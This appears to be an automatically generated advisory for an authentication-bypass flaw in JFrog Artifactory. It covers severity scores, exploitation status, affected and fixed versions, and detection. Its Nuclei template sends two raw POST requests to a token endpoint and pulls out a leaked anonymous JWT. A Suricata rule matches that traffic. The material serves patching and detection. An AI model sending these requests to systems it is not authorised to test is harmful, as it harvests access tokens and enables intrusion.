CVE-2026-42018: JFrog Artifactory exploited

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

What it is

JFrog Artifactory could return an internal anonymous-user token to an unauthenticated caller when anonymous access is disabled, potentially exposing sensitive resources.

Description quoted from the CVE record (assigned by JFROG, published 2026-08-12).

Weakness: CWE-287 Improper Authentication

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity none, availability none. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: partial.

On CISA KEV since: 2026-09-11
US federal deadline: 2026-09-25
Ransomware use: Not known

Public exploit evidence (Exploit Observer)

Also known as: EUVD-2026-57388, GHSA-3q94-gprh-7pwm

VEDAS cluster: VEDAS:FREIGHTFROST

Exploit Observer links 6 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (6)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Research and write-ups (1)

Research or write-up: https://fidelissecurity.com/vulnerabilities/cve-2026-42018

Vulnerability databases and vendor advisories (4)

Catalogue entries, not exploit evidence.

Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2026-57388
Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-3q94-gprh-7pwm
Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2026-42018
Vulnerability database or vendor advisory: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-42018

5 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS: 0.098
some chance of attack soon
VEDAS: 0.982
strong exploit evidence
On CISA KEV: Yes, since 2026-09-11
Detection rule: Nuclei · Suricata

EPSS (chance of attack)

VEDAS (exploit evidence)

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.

Who is affected

Product	Affected	Not affected
jfrog artifactory	before 7.111.20 from 7.117.0 before 7.117.27 from 7.125.0 before 7.125.19 from 7.133.0 before 7.133.28 from 7.146.0 before 7.146.8	Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: jfrog artifactory.

How to fix it

Fixed versions stated in the CVE record: 7.111.20, 7.117.27, 7.125.19, 7.133.28, 7.146.8.

CISA required action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset’s internet exposure and ensuring adherence to BOD 26-04 patching guidelines.

Vendor guidance:

https://docs.jfrog.com/releases/docs/jfrog-security-advisories (vendor-advisory)
https://docs.jfrog.com/releases/docs/artifactory-self-managed-releases (vendor-advisory)

How to detect it

Nuclei template (active check)

Jfrog - Authentication Bypass
JFrog Artifactory could return an internal anonymous-user token to an unauthenticated caller when anonymous access is disabled, potentially exposing sensitive resources.

Name and description quoted from the template, written by VEDAS.

The template sends 2 requests (POST /access/api/v1/aws/token, POST /access/api/v1/aws/token/); it decides using dsl, regex matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash

nuclei -u https://your-host -t CVE-2026-42018.yaml

Show the template (58 lines)

yaml

id: CVE-2026-42018

info:
  name: "Jfrog - Authentication Bypass"
  author: vedas-arpsyndicate
  severity: high
  description: |
    JFrog Artifactory could return an internal anonymous-user token to an unauthenticated caller when anonymous
    access is disabled, potentially exposing sensitive resources.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-42018&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=jfrog&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-42018
    cwe-id: CWE-287
  metadata:
    verified: false
  tags: cve,cve2026,jfrog,artifactory,auth-bypass,disclosure,kev,vkev
flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /access/api/v1/aws/token HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
        internal: true

  - raw:
      - |
        POST /access/api/v1/aws/token/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "access_token") && contains(body, "anonymous")'
          - 'status_code == 200'
        condition: and

    extractors:
      - type: regex
        name: anonymous-jwt-token
        part: body
        regex:
          - 'eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+'

CVE-2026-42018.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-42018 Jfrog - Authentication Bypass. Add them to your Suricata rule set and reload.

Show the rules

suricata

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-42018 Jfrog - Authentication Bypass"; flow:established,to_server; http.uri; content:"/access/api/v1/aws/token/"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2026-42018; reference:url,https://www.exploit.observer/?keyword=CVE-2026-42018&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=jfrog&match=exact; sid:1010437; rev:1;)

CVE-2026-42018.rules on GitHub

References

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.